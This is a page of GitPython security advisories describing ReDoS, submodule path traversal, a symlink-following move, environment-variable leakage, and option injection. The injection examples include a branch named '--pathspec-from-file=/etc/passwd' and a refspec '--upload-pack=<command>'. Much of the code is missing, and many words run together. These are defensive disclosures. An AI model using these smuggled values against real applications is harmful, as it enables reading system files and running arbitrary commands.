<character, the enginehas exactly one candidate position to try when a closing
>is absent — and failsin O(n) time instead of O(n²). Legitimate actor strings (
Name <email>) nevercontain
<or>in either field, so this change produces identical results forall valid input.
As defense in depth, independently of the regex fix, bounding the maximum number
of characters GitPython will attempt to parse in an author/committer line (e.g.
rejecting strings longer than 4096 bytes before passing them to any regex) would
further limit the blast radius of any future ReDoS class in this parser.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-87817 / GHSA-239g-whfq-7xj9 / PYSEC-2026-3982
More information
Details
GitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that executes when a victim calls index.commit() on a cloned or opened repository.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-87819 / GHSA-g5vv-9gxw-82hx / PYSEC-2026-3984
More information
Details
GitPython before 3.1.60 contains a regular expression denial of service vulnerability in Actor.name_email_regex that processes commit author and committer fields. Attackers can craft a commit object with a malformed author field containing an unterminated angle bracket to cause quadratic backtracking, exhausting CPU resources for over two minutes per commit access.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython submodule update path traversal can write outside the repository
CVE-2026-100689 / GHSA-59cr-6r3x-644w
More information
Details
Affected:
GitPython3.1.61 (latest release) andmain—git/objects/submodule/base.py.git diff 3.1.61 origin/main -- git/objects/submodule/is empty, so both are identical here.The gap
The fix for
GHSA-hmq2-w58f-27jcaddedSubmodule._validated_name()and wired it intoupdate()and five siblings, closing the.gitmodulesname →.git/modules/<name>traversal. The other attacker-controlled.gitmodulesfield,path, is read raw:and GitPython's own containment guard is applied in only two of the places that consume it:
update()validates only the name and then uses the path-derived absolute location directly:So
path = ../../../tmp/escapedin an attacker-authored.gitmodulesselects the directory that gets created and, on the clone path, populated from the submodule URL. The same absolute location is whatforce_removehands toshutil.rmtree.The asymmetry is the argument: this is not a missing concept — the project wrote
_to_relative_path()precisely for this, andadd()/move()use it.update()does not.Honest limits (please read before rating)
Repo.clone_from(...)→repo.submodules→sm.update(init=True)re-derivespathfrom a canonical tree lookup, and real git refuses to check out a tree containing a..component, so an evil.gitmodulesnever lands in the working tree in the first place. A reachable trigger therefore requires the victim's code to name a non-HEAD commit (a historical-commit API such assubmodule_update(previous_commit=...)).update(), and the unguardedabspath→os.makedirs()flow at 3.1.61 ==main.Suggested fix
Apply the guard the project already has, wherever the path is consumed:
Better still, validate at the boundary: reject a
.gitmodulesentry whosepathis absolute or contains a..component when the section is first read in_set_cache_()/iter_items(), so no consumer can be added later without the check. A regression test withpath = ../escapedalongside the existingnametest would pin both fields.Prior art checked
GHSA-hmq2-w58f-27jc(this is a residual of its fix, in the sibling field, not a re-report) plus the repository's 30 published advisories — none mentions thepathfield or_to_relative_path. Searched issues and PRs for_to_relative_path,gitmodules pathandsubmodule traversal: no report of this.Credit
kta1kri.
Appendix —
EVIDENCE_gitpython_path_unguarded_20260901.txt(inlined; advisories accept no attachments)Severity
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: arbitrary file read via attacker-controlled branch name in
Head.checkout()(incomplete fix of CVE-2026-78679)CVE-2026-110859 / GHSA-23mf-xhv8-69c2
More information
Details
Affected:
<= 3.1.62— all published releases; alsomain@4905b4afVerified at runtime: GitPython
3.1.62with git2.55.0Date: 2026-09-10
Reporter: MAXI8594
Threat model
HEADpointing at a branch whose name is the payload. Agit pushto a plain git server is enough — no filesystem access to a server is required (raw/06)./etc/passwdrecovered 34 of 34 lines.Repo.clone_from(user_url)thenrepo.active_branch.checkout().allow_unsafe_options=Falseis the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots.On severity relative to the sibling advisories. GitHub, as CNA, scored the three prior
advisories in this class at 6.5 /
PR:L(CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). Thisreport asks for 7.5 /
PR:N, and the difference is one measured fact: in those three, theapplication had to pass an attacker-influenced value into the API. Here it passes nothing — the
clone materialises the hostile branch on its own and
repo.active_branchreturns it(
raw/02). If that reading is not accepted, thePR:Lpath viaRepo.create_head()is also realand lands at 6.5, matching the siblings.
Summary
Head.checkout()guards its**kwargsagainst unsafe Git options but never inspects its ownpositional argument — the branch name — which reaches the
git checkoutargv with no--separator. A repository whose default branch is named
--pathspec-from-file=/etc/passwdmakes aconsumer that merely clones it and checks out the default branch return the entire contents of that
file to the caller.
This is the exact combination of two advisories the project already fixed:
GHSA-hh9p-6wh2-4mfc) — "Arbitrary file read via--pathspec-from-fileinIndexFile.remove()andHead.checkout()". Fixed in 3.1.58 by commitf2550b65, which addedthe guard to this exact method — but only for
**kwargs.GHSA-3wxw-xv34-2frg) — "TagReference.createpositional referencebypasses kwargs-only
--fileguard, enabling arbitrary file read (incomplete fix of 3af0c251)". Fixed in 3.1.59 by commit1b0d2d9b, which applied thepositional check to
git/refs/tag.py,git/diff.py,git/index/base.pyandgit/repo/base.py—but not to
git/refs/head.py:286.f2550b65states in its own commit message that the audit found the positional variant and appliedit to
HEAD.reset— 185 lines aboveHead.checkout, in the same file, in the same commit:HEAD.resetgot the fix.Head.checkoutdid not, and1b0d2d9bdid not come back for it.Affected Asset
GitPython(PyPI)<= 3.1.62— all published releases3.1.62main@4905b4afgit/refs/head.pyGit._option_candidates([], kwargs)self.repo.git.checkout(self, **kwargs)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N→ 7.5 HighThe version range was established by blob hash against every tag, not by dates: the sink line
self.repo.git.checkout(self, **kwargs)— with no--separator — is present ingit/refs/head.pyin every tag from
0.3.1-beta2through3.1.62. The3.1.62blob is byte-identical tomain:7f563374ef9e018b3d5f95054498e8591e112ce2. Full sweep inraw/07-blob-version-sweep.txt.The kwargs-only guard first appears in 3.1.58, so
3.1.58–3.1.62is where "incomplete fix"applies; earlier releases have the same sink with no guard at all.
Vulnerability Details
Root cause
git/cmd.py:1045—_option_candidates()only inspects the positionals it is handed:So
_option_candidates([], kwargs)means: check the keyword arguments, never check the positionalarguments this method puts on the command line. That is fine when the method has no
attacker-influenced positional, or when it separates them with
--.git/refs/head.py:283-293—Head.checkout()has neither:selfis the only positional. It serialises to the branch name, lands in thegit checkoutargv,and is not in the list the guard inspects.
_call_processbuildsargs_list = opt_args + ext_args,so keyword-derived options precede positionals — which is why the rest of the library puts
"--"first (
Remote.fetch/pull/push,Repo._clone,Repo.archive,IndexFile.remove,Commit.countall do).
Head.checkoutdoes not.Why the branch name is attacker-controlled
Git accepts a refname whose branch component begins with
-and contains/(
raw/02-refname-accepted-and-cloned.txt):The transcript above also shows the second half:
git clonematerialises that branch locally onits own when the remote
HEADpoints at it — the consuming application never asks for it.A plain git server accepts the refname over
receive-pack, with no--forceand no special config(
raw/06-push-accepts-refname.txt), so the attacker does not need filesystem access to a server —a
git pushis enough. That measurement, and the clone inraw/02, both use thefile://transport, which exercises the same git wire protocol as
https://; I did not test against ahosted forge, since that would mean writing to a third party.
Why the leak reaches the caller
The file contents are in
CommandError.__str__, not only in the.stderrattribute(
git/exc.py):So
logging.exception(...),print(e), or simply not catching the exception all disclose thefile. The developer does not have to know
.stderrexists.Full chain
Steps to Reproduce
Environment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —
temporary repositories and the
file://transport. No remote hosts, no third-party repositories.The bundled
poc.shruns all seven scenarios as a single unit and writespoc.logplus one file perscenario under
raw/. Minimal manual reproduction:Raw Request
The real
git checkoutargv, captured by instrumentingGit.execute(raw/01-real-argv.txt).This is the command GitPython actually built — the branch name became an option:
Raw Response
Observed output (
raw/05-six-line-consumer.txt, tail) — git emits oneerror:line per unmatchedpathspec, which is one per line of the target file:
raw/03-full-file-disclosure.txtcounts the recovery against the real file:Impact
An attacker who can get an application to clone a repository they control reads any file the
application's process can read, with the contents returned in band.
/etc/passwdwas recovered infull (34 of 34 lines) in the run recorded in
poc.log.The attacker needs no account and no privilege in the consuming application, and no
configuration change anywhere:
allow_unsafe_options=Falseis the default, and the vulnerableconsumer is six lines of ordinary code. This is the central use case of the library — CI systems,
repository importers, scanners and bots that clone user-supplied URLs.
Impact precondition
Holds if: the consuming application clones a repository whose default branch name the attacker
chose, and then calls
Head.checkout()on it — most commonly asrepo.active_branch.checkout(),which needs no branch-name input from the application at all.
Source writer: the attacker, via the remote repository's
HEADand refs. Verified two ways —git update-ref+symbolic-refon a bare repository, andgit pushto a plain git server, whichreceive-packaccepts without--forceor special configuration(
raw/02-refname-accepted-and-cloned.txt,raw/06-push-accepts-refname.txt). The application neverwrites the branch name;
git clonematerialises it.Observed in:
validation/gitpython/head-checkout-positional-pathspec/— GitPython 3.1.62(latest release) with git 2.55.0, in the single run recorded in
poc.log(2026-09-10T02:10:23-03:00). File read:
/etc/passwd, 34 of 34 lines recovered by the caller.Limits, stated plainly
single argv token;
gitrejects the abbreviated forms. This was established while developing thepayload and is not part of the attached run — the run exercises the working spelling only.
repository none of them do, so the attacker controls this condition too.
git checkoutemits oneerror:perunmatched pathspec.
GHSA-hh9p-6wh2-4mfcnotes that--pathspec-from-filealone quotes only thefirst line — that holds for
git rm, which aborts withfatal:on the first. It does not hold forgit checkouton 2.55.0.Negative control
Full statement of what each control isolates and what would invalidate it:
negative-controls.md.Every batch opens and closes with a positive control; if the closing one does not fire, the batch
is discarded.
Positive control (opening and closing, 4 batches).
Head.checkout(pathspec_from_file="/etc/passwd")— the same payload via kwargs. Fires in every batch:
UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it.This proves the guard exists, is active under the default, and recognises the option — so a null
result elsewhere cannot be the instrument failing to reach the code.
Negative control. The identical call on a branch named
benigna. One variable changes: theleading
-. Result:['git', 'checkout', 'benigna'], no exception, 0 lines disclosed.Precision control — the asymmetry inside one file (
raw/04-precision-control-reset-vs-checkout.txt).The same payload against the two methods in
git/refs/head.pythat received the guard in the samecommit, 185 lines apart:
HEAD.reset(head.py:101,_option_candidates([commit], kwargs)) blocks whatHead.checkout(
head.py:286,_option_candidates([], kwargs)) lets through. This rules out the alternativeexplanation that any string containing
--pathspec-from-filereaching git would disclose the file.Remediation
One line, consistent with what
f2550b65already did forHEAD.resetin this same file:The other candidate was evaluated and rejected. Writing
self.repo.git.checkout("--", self, **kwargs)would match the--pattern used elsewhere in thelibrary and would also cover future
git checkoutoptions — but it changes the semantics andbreaks the method: in
git checkout -- <arg>, everything after--is a pathspec, not a branch.The command would stop switching branches and start restoring files. The
--pattern works forfetch/pull/push/clone/archive/rmbecause their positionals genuinely are non-branchoperands; it does not transfer here.
For defence in depth,
Repo.create_head()could reject branch names beginning with-, which wouldalso close the weaker
PR:Lpath. That is a separate, optional change.Prior art and de-duplication
All GitPython advisories in the GitHub database were reviewed —
gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginatereturns 47(the same command without
per_pagereturns only the first page of 30).Head.checkoutappears intwo rows, one of which (
GHSA-w672-…) is a withdrawn duplicate, leaving one substantive advisory:GHSA-hh9p-6wh2-4mfc/ CVE-2026-76217 — same method, but the kwargs path(
pathspec_from_file=…, pathspec_file_nul=True), fixed in 3.1.58. That path is closed today; it isthe positive control in every batch of this report. The positional path is not covered by it.
Neighbours, none overlapping:
GHSA-3wxw-xv34-2frg/ CVE-2026-78679 — the same class (positional bypasses a kwargs-onlyguard) in a different method,
TagReference.create, fixed in 3.1.59 by1b0d2d9b. That is thepatch that did not come back to
head.py:286.GHSA-956x-8gvw-wg5v/ CVE-2026-67323 — precedent for "a value placed before the--with noleading-dash check", in
Repo.iter_commits/Repo.blame. Those sites now pass their positionalto the guard; this one does not.
GHSA-7545-fcxq-7j24/ CVE-2026-44243 — path traversal via ref names in the reference APIs.Different sink (filesystem path construction) and different impact (write and delete), but it
establishes that attacker-influenced ref names is a premise this project has already accepted.
No open fix proposal
Searched across three surfaces, because
gh search issuesexcludes pull requests:gh search prs,gh search issuesand the rawsearch/issuesAPI. No open or closed issue or pull requestproposes passing the positional to the guard in
Head.checkout. The three PRs that touch thisguard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that
introduced both call sites in this file, one checking its positional and one not. Full matrix in
dup-check.md.The project's own tests carry the same asymmetry
test/test_refs.pyexercises the guard for both methods, and covers exactly the difference thisreport is about:
HEAD.reset— the positional is tested (lines 304-308).Head.checkout— only the kwargs path is tested (lines 282-291).So the positional variant is a case the suite already knows how to write; it just was not written
for
checkout. The docstring added by #2204 toHead.checkoutstates that--pathspec-from-filerequires opt-in via
allow_unsafe_options— which is precisely the guarantee the positional pathdoes not deliver. Nothing in the project declares the positional acceptable here.
Why the one-line fix works, which is not obvious
Reference.__str__returnsself.name, notself.path.Reference.namestrips the first twopath components (
reference.py:122-132), so aHeadconstructed onrefs/heads/--pathspec-from-file=/etc/passwdpassescheck_path— the path does begin withrefs/heads/— whilestr()yields the bare option. Passing[self]to_option_candidatesmakesthe guard see that same serialised string, which is why the one-line change closes it.
Evidence
poc.shpoc.lograw/00-versions-and-source.txtdef checkout(appears once, so the sink line is unambiguousraw/01-real-argv.txtgit checkoutargv, captured by instrumentingGit.executeraw/02-refname-accepted-and-cloned.txtRepo.clone_frommaterialises it unaskedraw/03-full-file-disclosure.txt/etc/passwdrecoveredraw/04-precision-control-reset-vs-checkout.txtHEAD.resetblocks whatHead.checkoutallowsraw/05-six-line-consumer.txtraw/06-push-accepts-refname.txtpushraw/07-blob-version-sweep.txtnegative-controls.mdevidence.sha256Disclosure
Reported privately through GitHub private vulnerability reporting. No third-party systems were
touched: every repository in this report is a temporary local one, and all transport is
file://.Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution
CVE-2026-110858 / GHSA-f9j4-qggq-h239
More information
Details
Summary
Remote.pull()in GitPython forwards its positionalrefspecargument directly to thegit pullchild process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as therefspec(for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as--upload-pack=<command>. The value bypasses theunsafe_git_pull_optionscheck, is placed after the--separator on thegit pullcommand line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (allow_unsafe_options=False).Root Cause
Remote.pull()is documented to reject dangerous options unlessallow_unsafe_options=True, and--upload-packis explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positionalrefspec. The check builds its candidate list withGit._option_candidates([], kwargs), passing an empty list in place of the positionals, so therefspecvalue is never compared againstunsafe_git_pull_options = ["--upload-pack"]. The normalizedrefspecis then forwarded verbatim to thegit pullinvocation. The leading--separator that neutralizes an option-shaped refspec forgit fetchandgit pushdoes not protectgit pull, becausegit pullre-forwards its trailing positionals to an internalgit fetchwithout re-inserting a--separator, so the positional becomes an option to that internal fetch.Impact
An attacker who controls the
refspecvalue passed toRemote.pull()achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the--upload-packvalue is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial.Proof of Concept
Reproduction steps:
Remote.pull()with an attacker-controlled refspec.Attack Chain
Remote.pull(refspec=<value>)on the default path, where<value>is derived from attacker-influenced input such as a branch or refspec request parameter.--upload-pack=<command>; git-upload-pack. The value passes throughGit._unpack_args, which only flattens and stringifies it, preserving the option shape.Git.check_unsafe_protocolson the value, which only matches remote-helper transport URLs (a<transport>::form) and does not flag an--upload-pack=token.check_unsafe_options(options=Git._option_candidates([], kwargs), ...). Because positionals are passed as an empty list, the positionalrefspecis never inspected againstunsafe_git_pull_options.git pull -v -- <remote> --upload-pack=<command>; git-upload-pack;git pullre-forwards the positional to an internalgit fetchwithout a--separator, so it is honored as the upload-pack program.<command>as the upload-pack program, giving arbitrary command execution as the calling process user.Bypass Evidence
The relevant guard is
Remote.pull()'s owncheck_unsafe_optionscall, present in the current released artifact. It is incomplete: it inspectsGit._option_candidates([], kwargs), which only considers keyword arguments, so the positionalrefspecis never checked. This was confirmed empirically: passing the identical value as theupload_pack=keyword argument raisesUnsafeOptionError, while passing it as the positionalrefspecdoes not, proving that only the positional escapes the guard.The
--separator on thegit pullcommand line was tested as a possible mitigation and refuted: with system git 2.43.0,git pull -- <remote> '--upload-pack=<cmd>'executed the injected command, while the identical value supplied togit fetch -- ...andgit push -- ...did not execute, because those subcommands honor the--terminator whereasgit pullre-forwards positionals to an internal fetch without one. Thecheck_unsafe_protocolstransport check was also examined and does not flag the--upload-pack=token because it has no<transport>::form. No prior published advisory for this package addressesRemote.pull, the fetch or pull refspec positional, or--upload-packinjection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink.Affected Versions
Ecosystem: pip (PyPI)Package: GitPythonConfirmed affected range: >= 3.1.30Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tagFix status: not fixed in any released version or on the development branchThe keyword-only pull guard together with the positional
refspecsink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shippedgit/remote.pyin each tagged artifact. Version 3.1.30 introduced theunsafe_git_pull_optionsguard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward therefspecpositionally with no unsafe-option guard and no--separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists.Suggested Fix
Enforce the unsafe-option invariant on the positional
refspec, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list intoGit._option_candidatesalongsidekwargs) so that an option-shapedrefspecsuch as--upload-pack=...is rejected withUnsafeOptionErrorunlessallow_unsafe_options=True. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with-, avoid passing untrusted data as therefspec, and prefer HTTPS remotes where a client-supplied upload-pack program is inert.Reported by zx (GitHub: @manus-pi).
Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name
CVE-2026-110855 / GHSA-fx3j-rwgx-fr94
More information
Details
Summary
Repo._clone()'s handling ofseparate_git_dirnever disablesGit.polish_url()'s environment-variable expansion, unlike every other caller of that helper that handles attacker-influenced data. Sinceseparate_git_dircan be derived from an attacker-controlled.gitmodulessubmodule name, a completely ordinaryclone+submodule_update(init=True, recursive=True)on a malicious repository expands an environment variable of the attacker's choosing and exposes its value both as a persistent on-disk directory name and, whenever DEBUG-level logging is enabled (a common CI/verbose-logging configuration), in aPopen(...)log line that is not redacted the way credential-bearing arguments are.Root cause / Details
git/repo/base.py's_clone()has:This is the only remaining
Git.polish_url()call site handling attacker-influenced data that does not passexpand_vars=False(there is one other unguarded call site,clone_pathat line 1537, but its input is the caller's own local destination path, not attacker-controlled). The sibling fixes forGHSA-94p4-4cq8-9g67/GHSA-rwj8-pgh3-r573addedexpand_vars=Falsetoclone_url(5 lines below this one, in the same function),git/repo/base.py:1599,remote.py:814, andsubmodule/base.py:686— this one did not receive it. (submodule/root.pyalso currently setsexpand_vars=Falseat a related call site, but that was added incidentally by a later, unrelated commit, not as part of these security fixes.)Git.polish_url()'s docstring itself says: "Disable this for values obtained from an untrusted source, such as remote URLs." Its non-Cygwin branch does plainos.path.expandvars()on the entire string, including embedded variables anywhere in an absolute path.separate_git_dirreaches_clone()fromSubmodule._clone_repo()(git/objects/submodule/base.py) asmodule_abspath = osp.join(parent_repo.git_dir, "modules", name), wherenameis the raw.gitmodulessubmodule section name — fully attacker-controlled content of a cloned repository._validated_name()(added by the fix forGHSA-hmq2-w58f-27jc) only rejects names that are absolute, contain a drive letter, or contain..path components; it does not reject$._need_gitfile_submodules()is true for git ≥ 1.7.5, i.e. the default path for virtually every real-world installation.Reproduction (live, against real, unmodified GitPython code, no monkeypatching)
Built a hostile repository with a plain, ordinary git command:
git submodule add --name '$GPY_SECRET_MARKER' ../evil_submodule sub. Set an environment variable in the "victim" process (standing in for a real CI secret such asAWS_SECRET_ACCESS_KEY):GPY_SECRET_MARKER=AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345. Then ran the exact ordinary workflow theGHSA-hmq2-w58f-27jcadvisory's own PoC also uses:Observed result (
ls .git/modules/):The literal
$GPY_SECRET_MARKER-named directory was never created — only the expanded one exists, proving expansion happened before the value reached thegit clone --separate-git-dir=...subprocess argument. The persistent, expanded-name directory under.git/modules/is itself the primary disclosure channel — it survives on disk for as long as the clone does. A second, independent channel: with thegit.cmd/git.repo.baseloggers at DEBUG level (a common CI/verbose-logging setting, not requiring any special flag), GitPython's ownPopen(...)debug log line prints the fully expanded--separate-git-dir=<value>subprocess argument verbatim —remove_password_if_present()only redacts URL passwords/Authorization headers, not path-style arguments like this one, so the expanded value is not scrubbed. (The call also fails downstream with anOSError/FileNotFoundErrorreferencing the original, unexpanded name, since_write_git_file_and_module_config()looks for a directory using the pre-expansion name — but that error message itself does not contain the expanded/secret value.)Control: the same call with an ordinary (no
$) submodule name succeeds normally and creates.git/modules/<name>as expected — isolating the gap to submodule names containing environment-variable syntax specifically.Already-known check
Checked all 35 published
gitpython-developers/GitPythonsecurity advisories in full text.GHSA-hmq2-w58f-27jccovers the samename→.git/modules/<name>path but for path-traversal (../../..), not variable expansion.GHSA-59cr-6r3x-644wcovers the siblingpathfield reaching unguardedos.makedirs().GHSA-94p4-4cq8-9g67/GHSA-rwj8-pgh3-r573coverexpand_vars, but only on URL arguments.git log -p -S "separate_git_dir" -- git/repo/base.pyshows neither fix commit touches this line; it is unchanged since its 2016 introduction (commit57d05379).The closest topical match is
GHSA-8mcc-hrx5-hvxc("clone_from()/clone()omit--separate-git-dirfromunsafe_git_clone_options") — already fixed, and its own text discusses this same_clone()handling ofseparate_git_dir. That fix only added--separate-git-dirto theunsafe_git_clone_optionsdenylist, which gates the direct-kwarg vector;Submodule._clone_repo()explicitly setsallow_unsafe_options=Truefor the gitfile-submodules path, unconditionally bypassing that exact denylist (confirmed: the reproduction above succeeds against currentmain, which already has that fix). The bug this report describes is independent of that denylist — the value itself is expanded viaos.path.expandvars()regardless of the denylist outcome — so the two are distinct, but flagging the relationship explicitly since a reviewer would otherwise reasonably ask about it.No advisory describes environment-variable expansion via the internal
separate_git_dirpath.Suggested fix
Add
expand_vars=Falseto theGit.polish_url(sep_dir)call in_clone(), matching the four other call sites already fixed for the same class of issue.Verification level
Reproduced in a real environment: plain Linux, unmodified GitPython from current
main, real git ≥ 1.7.5 behavior, an ordinarygit submodule add+clone+submodule_update(init=True, recursive=True)workflow with no non-default configuration or monkeypatching required. Causation isolated via a control group (identical workflow, ordinary submodule name, no expansion).AI Use Disclosure
AI (Claude) was used as a tool under my direction for code review, code summarization, and script development. A human reviewed and verified the AI-generated results before submission.
Credit: please use "baeseungwon1010" (github.com/baeseungwon1010).
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree
CVE-2026-110860 / GHSA-gq48-pqfc-9p58
More information
Details
Summary
GitPython's public
Submodule.move()API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.The reporter reproduced this on the latest release, GitPython 3.1.62, and current
main. In the strict scenario, the repository commitsvendor -> ../outside, while the consuming application independently passes the fixed literalvendor/module.Submodule.move()followsvendor, moves the initialized submodule checkout tooutside/module, rewrites.gitmodulesand the index to the symlinked path, and leaves the index unable to produce a tree.The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.
Trust boundary and preconditions
The attacker controls:
120000tracked symlink namedvendor;The consuming application controls the call and uses a fixed layout rule:
The trigger requires the application to initialize the submodule and later call
Submodule.move()with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requirescore.symlinks=truewith Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.Product and directly verified revisions
GitPython(pipecosystem)db47516dac750c5968b8f6d388b18712c355df50main:b62e91be897f687a622e40cd1e59c33dce45f124git/objects/submodule/base.pySHA-256 in both revisions:a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189cOnly these two revisions were directly tested.
Severity and weakness
The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.
For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained,
AV:Ngives a conditional application-level score of 7.1. A fully automatic service may warrant a differentUIassessment. The library report usesAV:Lbecause the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.
Reproducer
The following script creates only temporary local repositories and a self-generated canary. It passes
protocol.file.allow=alwaysseparately with-con each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.Run it from a fresh source checkout:
--absolute-linkcommits the temporary external directory's absolute path instead of../outside.Observed result
The relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:
move()module/SELF_GENERATED_CANARY.txtexistsoutside/moduleabsentoutside/module.gitmodules,module,vendor.gitmodules,vendor,vendor/module.gitmodulespathmodulevendor/modulecore.worktree../../../module../../../vendor/modulegit write-treeThe failure after the move is:
The tracked attacker input is present in the clean clone before the call:
With the proposed patch, the same calls raise before mutation:
The checkout, external directory, index,
.gitmodules, and module configuration then remain unchanged, andgit write-treesucceeds.Root cause
Submodule._to_relative_path()delegates to a helper that usesabspath(),commonpath(), andrelpath()to enforce lexical containment. These operations normalize.., but they do not resolve or reject an existing intermediate symbolic link.The relevant helper is
git.util._to_relative_path():Submodule.move()then joins the accepted relative path to the worktree and passes it to filesystem operations, includingos.listdir()andos.renames():The operating system resolves
vendor/modulethrough the checked-outvendorlink at that point.GitPython already applies the intended component check to the source checkout through
Submodule.abspath: it walks every component and rejectsos.path.islink(path). The destination inmove()does not use that guard.Suggested fix
The proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It:
Submodule.abspath's all-component guard intact.The final-component exception preserves current compatibility. The existing code first uses
isfile()andlistdir()to classify the link target, then usesos.remove()to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf producesOSErrorwithout changing repository state. Because the pre-removalisfile(),exists(), andlistdir()calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link.The component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because
move()is decorated with@unbare_repo,working_tree_dirshould be present; the helper nevertheless changes an impossible or malformedNonestate from the previousstr(None)path construction to an explicitNotADirectoryError.Validation
The strict clean-clone proof was run with both relative and absolute committed symlink targets:
mainb62e91bBoth platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable
/tmp.Pinned reproducer SHA-256:
513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c.The documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved
git,gitdb, andsmmapfrom that checkout (git/__init__.py,gitdb/gitdb/__init__.py, andsmmap/smmap/__init__.py) and reproduced the same external move. In that exact checkout,git ls-tree HEAD gitdb smmap git/extreports ordinary mode-040000trees for rootgitdbandsmmap, no.gitmodulesfile exists, andgit submodule status --recursiveproduces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries.The revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover:
Submodule.abspathleaf-link guard;Ruff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above.
Additional saved controls on both revisions record rejection of
